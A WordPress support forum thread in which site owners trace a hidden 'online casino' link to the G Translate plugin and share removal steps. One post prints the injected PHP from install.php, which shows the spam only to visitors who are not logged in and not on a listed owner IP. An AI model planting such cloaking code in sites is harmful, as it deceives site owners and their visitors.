WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] Strange link to Casino Online appeared at the top of my blog (12 posts)

  1. hallyu_se
    Member
    Posted 1 year ago #

    I just updated my wordpress to version 3.4.2 last week and have been away for a few days, and when I got back a link to Casino Online appeared and I did not put it there. I've tried to find where I can erase the link, but I'm not that tech-savy and my bloghost doesnt have the manpower to help me... So I'm at a loss for what to do. I've searched the forum and found people with similar problems but none that is exacly like mine, that explains how I remove the link. I've changed my passwords, secred keys, reinstalled version 3.4.2.

    my blog is hallyu.se

  2. jessn
    Member
    Posted 1 year ago #

    Log into your WordPress admin and go to "Appearance-->Editor". Click on "header.php" in the list on the right. Try to see if you can locate this little snippet:

    <small>online casino</p></center>

    If you can see it in there then take it out. If not let us know, as it might be coming from within a plugin

  3. As Jessn mentioned if you can't find the content in the theme file, I would deactivate all plugins and then re-activated every single one, by one to find which one is responsible.

  4. hallyu_se
    Member
    Posted 1 year ago #

    Found it, was a plugin: G Translate by benjilof
    Thanks for the help :)

  5. jessn
    Member
    Posted 1 year ago #

    Thanks so much for reporting back! Turns out the same exact thing happened on one of my sites tonight, and I came back to check if you'd fixed it. Thanks to you I was able to quickly find the source (Google Translate) and deactivated the problem.

  6. jessn
    Member
    Posted 1 year ago #

    If anyone else has the same problem, I found the offending code inside of install.php

  7. CharlestonSCBroker
    Member
    Posted 1 year ago #

    My site has the same issue! please help charlestonscrealestate.net is this a plugin?

  8. hsteele
    Member
    Posted 1 year ago #

    Hi, I'm having the same problem at my site: shop.hsteele.com. I'm using WooCommerce and I can't find the snippets in any of the files you mentioned here. Any ideas where to find the injection?

    Thanks.

  9. hallyu_se
    Member
    Posted 1 year ago #

    Try deactivating your plugins and then activate them one by one after refreshing your page and seeing if the lik apears. If you find that its actually wocommerce that is the problem then contact woothemes them, they're usually very friendly :)

  10. Stingraynut
    Member
    Posted 1 year ago #

    Thanks jessn- the code was at the bottom og install.php in the g translate plugin folder
    How did they put it there ? the permissions are 644 - there are onlyn 2 users, both have 15 random character passwords

    What can be done to prevent this happening again?

  11. Skurf
    Member
    Posted 1 year ago #

    Hello, I am having the same problem but as I am not very good at programming and don't want to damage this plugin as I still like it, can someone help on which part of the install.php needs to be deleted:

    <?php
    if (is_user_logged_in()) { $loggedin = 'yes'; } else { $loggedin = 'no'; }
    if ($loggedin == 'no') {
    $ip = $_SERVER['REMOTE_ADDR'];
    $filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/g-translate/owner.txt';
    $handle = fopen($filename, "r");
    $contents = fread($handle, filesize($filename));
    fclose($handle);
    $filestring= $contents;
    $findme = $ip;
    $pos = strpos($filestring, $findme);
    if ($pos === false) {
    ?>
    <p>online casinos</p>
    <?php //
    } else {
    echo '';
    }}
    ?>

  12. Stingraynut
    Member
    Posted 1 year ago #

    If you're not confident editing code the easiest way is to totally delete the plugin, then upload and install a fresh copy.

Topic Closed

This topic has been closed to new replies.

About this Topic